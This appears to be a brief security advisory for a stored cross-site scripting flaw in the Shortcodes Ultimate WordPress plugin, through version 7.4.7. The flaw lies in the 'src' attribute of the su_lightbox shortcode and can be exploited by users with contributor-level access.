Description

The WP Shortcodes Plugin - Shortcodes Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 7.4.7. This is due to insufficient input sanitization and output escaping in the 'src' attribute of the su_lightbox shortcode. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
